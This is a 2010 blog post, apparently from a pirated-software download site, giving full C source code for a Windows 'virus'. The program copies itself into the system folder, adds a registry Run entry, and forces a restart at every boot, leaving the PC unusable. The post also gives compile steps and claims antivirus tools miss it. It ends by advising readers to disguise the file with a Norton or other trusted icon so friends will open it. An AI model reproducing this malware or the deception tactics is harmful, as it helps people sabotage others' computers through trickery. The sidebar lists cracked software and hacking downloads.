skip to main | skip to sidebar
THE PG GRAPHICS

This is the place where you will find your every essential for your PC. You Can contact me -piyusharora32@gmail.com Any Problem Any Time I'm Ready.

  • Entries (RSS)
  • Comments (RSS)
  • Home
  • Posts RSS
  • Comments RSS
  • Edit

Monday, May 10, 2010

Virus To Make PC Restart On Every Startup

Posted by THE PG GRAPHICS IS UR at 9:48 AM Labels: Virus To Make PC Restart On Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it’s too easy to understand the logic behind the coding.
Here is the source code.
#include
#include
#include

int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart}
NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
X:\Windows\System
(X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

 There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Newer Post Older Post Home

Sponsored

  • banners
  • banners
  • banners
  • banners

Posts

free counters
Related Posts with Thumbnails

Blog Archive

  • ▼  2010 (700)
    • ►  July (10)
    • ►  June (208)
    • ▼  May (439)
      • J. River Media Center 15.0.35 Beta (+RUS)
      • Sonne CD Copy Master v1.0.1.519
      • Ideco ICS (2009/Rus)
      • Tipard DVD to 3GP Converter v4.2.22
      • Red Giant Plugins Pack for Adobe After Affects
      • Web Studio 5.0.0.19
      • Loopmasters Tidy Trax Hard Dance and Trance MULTiF...
      • Loopmasters Fidget House Vol.2 MULTiFORMAT
      • Adobe Flash Catalyst CS5 v1.0 (2010)
      • Multiboot USB v.1.0 IDimm XP & 7 (2010) Rus
      • Acronis & Paragon Ultimate Boot CD USB 2009 1.1 (ISO)
      • Sound Ideas Network SFX CD35 37 CDDA SCD SPiRiT
      • Battleship Missouri 3D Screensaver
      • Sea Apple Software Web Calendar Pad v2010.0.8
      • Memory Improve Master 6.1.2.277
      • Sybase PowerDesigner v.15.2.0.3042 (ENG/2010)
      • Roxio Creator PRO 2010 + Blu-ray Plugins (2010)
      • WiFi Hack
      • Error Repair Professional 4.2.0
      • Lynda.com: Fireworks CS4 Essential Training (DVD-ROM)
      • DVD Copy/Rip Tools » Elecard MPEG Player 5.6.18795...
      • Windows XP Pro SP3 Corporate Edition Rus 05.2010 A...
      • Skype 4.2.0.152 Multilang
      • Compilation of Non-standard Themes (2010)
      • IDM UltraEdit 16.10.1020 Portable
      • BSPlayer Professional 2.51.1018b
      • GameJackal Pro 4.0.2.7 Final
      • Delta Force: The Best (2000-2003/RUS/ENG)
      • Effects Pinnacle Hollywood FX Pro v5.2.4506
      • Grand Theft Auto: Chinatown Wars [PSP]
      • Haufe Personal Office 15.2 Stand April 2010 German
      • ProgeCAD 2010 Professional v10.0.6.23
      • 4Videosoft DVD to iPhone Converter v3.3.22
      • KeepTool v9.0.3.8
      • Ultra DVD Ripper v3.2.0822
      • ProducerLoops Digital Heat WAV SCD-SUNiSO
      • Advanced SystemCare PRO v3.6.0.712 Multilanguage P...
      • Sixth Pack Solid Edge ST2 32/64 Bit
      • Radmin
      • uSeesoft DVD Ripper 1.5.1.6
      • Microsoft Windows MultiPoint Server 2010 Multilang...
      • Windows 7 ARC Gamer Edition 32bit Activated(Availa...
      • With this easy-to-use program you can create inter...
      • Salfeld Child Control 2010 10.348.0.0
      • Photo DVD Maker Professional 8.08
      • DVD Copy/Rip Tools » CDMenuPro Business Edition 6....
      • Access Administrator Pro 5.1
      • NetSupport Manager 11.0
      • Raxco DiskState 3.80.1609 Retail
      • Anti-Trojan Elite 5.0.0 Multilanguage
      • AnvSoft Photo Flash Maker Professional 5.23 + Port...
      • VTC.com Game Development For iPhone iPad Using Uni...
      • DVD Copy/Rip Tools » MOBILedit! 4.2.0.718
      • AnyToISO 2.7.1 MacOSX
      • All working activators for Windows 7
      • Microsoft Office 2010 Portable
      • Rosetta Stone Japanese Audio Companion (1 - >3)
      • Real Desktop 1.59 Final Multilang
      • JDownloader 0.9579.20100529 Plugin Upd. Portable M...
      • Oracle Open Office V9.2
      • AVG Anti-Virus Professional 9.0.800.2779
      • Adobe Acrobat Reader 9 Pro
      • Decoshow® v1.1.9.1
      • Maxon Cinema 4D R11.5 RC20476 (for MacOS)
      • C4 ENGINE SDK 2.0
      • Rob Papen SubBoomBass VSTi RTAS v1.0.3c x86/x64
      • Sixth Pack Solid Edge ST2 32/64 Bit
      • 4Videosoft DVD to MP3 Converter 3.3.22
      • Ueberschall CrunkZilla Elastik SoundBank-AudioP2P
      • ProducerLoops Digital Heat WAV SCD-SUNiSO
      • CNC Simulator v6.45 Multilanguage
      • iMacsoft DVD Ripper v2.2.3.0527
      • Watch and Learn: Photoshop Tips and Tricks Vol.3
      • Windows Embedded Standard 7 Evaluation Edition Too...
      • Goldbaby FatsoSynths Vol. 1 for EXS24 and Kontakt
      • Watch and Learn: Photoshop Tips and Tricks Vol.6
      • DiskInternals Flash Recovery 2.8
      • PenSoft Payroll 2010 3.10.2.18 Accounting Edition
      • Duplicate File Remover v2.2 build 415
      • FarPoint Spread 8.0.11
      • Adobe Photoshop CS5 Extended v12.0 + keygen + Patc...
      • Avast! Pro Antivirus & Internet Security 5.0.542 P...
      • Propellerhead - Reason Soul School (ReFill)
      • CorelDRAW Graphics Suite X5 RETAIL DVD 15.0.0.486 ...
      • Nuance PaperPort 12 Professional v12.0.9460.100
      • HooTech WAV MP3 Converter v4.0.1159
      • Portable » Portable Adobe Dreamweaver CS5 v11.0.4909
      • MAGIX Video Pro X2 9.0.6.6 German and Russian (2010)
      • Mosek Optimization Tools v6.0.0.78-Lz0
      • ConceptDraw Office Pro 8.0.7.4 Portable
      • Megaupload Premium Link Generator 1.0
      • DVD Copy/Rip Tools » Black Sheep [Dvdrip]
      • NexusFont v2.0.1.1075 Portable
      • IDM UltraCompare Professional 7
      • Optical Flares 1.2.123 for Ad0be After Effects (2010)
      • Agnitum Outpost Antivirus Pro 7.0 3371.514.1232.401
      • O&O DriveLED Professional Edition v4.1.57 (32/64 bit)
      • Perfect Uninstaller 6.3.3.8 Datecode 27.05.2010
      • Photoscape 3.5 Multilanguage Photo Editor Portable
      • Play With Pictures 1.0.6 Portable
      • Live CD for Wireless hacking Linux Live-CD
      • Xara 3D v6.0
      • Autodesk MapGuide Enterprise 2011 x32/x64 English ...
      • Toontrack Music City USA SDX HYBRID DVDR D1
      • Windows 7 Drivers х86/x64 v1.03 Eng/Rus (27.05.2010)
      • CAD/CAM » Sixth Pack Solid Edge ST2 32/64 Bit
      • Effects Pinnacle Hollywood FX Pro v5.2.4506.Added ...
      • Wondershare PPT2DVD Pro v6.1.5.38
      • Aone Ultra DVD Creator 2.8.0526
      • Web Studio 5.0.0.19
      • LeaderTask 6.8.9.9
      • DtSearch Engine/Desktop v7.65.7895
      • TextSoap 6.4 MacOSX
      • CATIA P3 V5R19 + Portable SP2 Multilangual x86 (2009)
      • Multiboot fleshka format Norton Ghost (28.05.2010)
      • Windows XP Alternative version 10.5.1 (May 2010) (...
      • Axialis IconWorkshop Professional Edition 6.5.2.0
      • Windows XP SP3 Mac OSX Glass Edition 2010 Inc. CD ...
      • Privatefirewall 7.0.20.39
      • Roxio Creator PRO 2010 (3 DVD-ISO) Incl Blu-ray Pl...
      • Outpost Security Suite Pro 7.0 (3371.514.1232) Fin...
      • J. River Media Center 15.0.27 Beta (+RUS)
      • Radiotracker Platinum 6.2.9900.0
      • DeckaDance - 1.63 [UB/SL]
      • Kaspersky Rescue Disk 10.0.20.1 RC1
      • ProgeSoft ProgeCAD Professional v10.0.6.23
      • Microsoft Groove Server 2010 x64 SUB100 ZWTiSO
      • Kaspersky Internet Security 2011 11.0.0.195 Beta
    • ►  April (43)

Followers

 

© 2010 My Web Blog
designed by DT Website Templates | Bloggerized by Agus Ramadhani | Zoomtemplate.com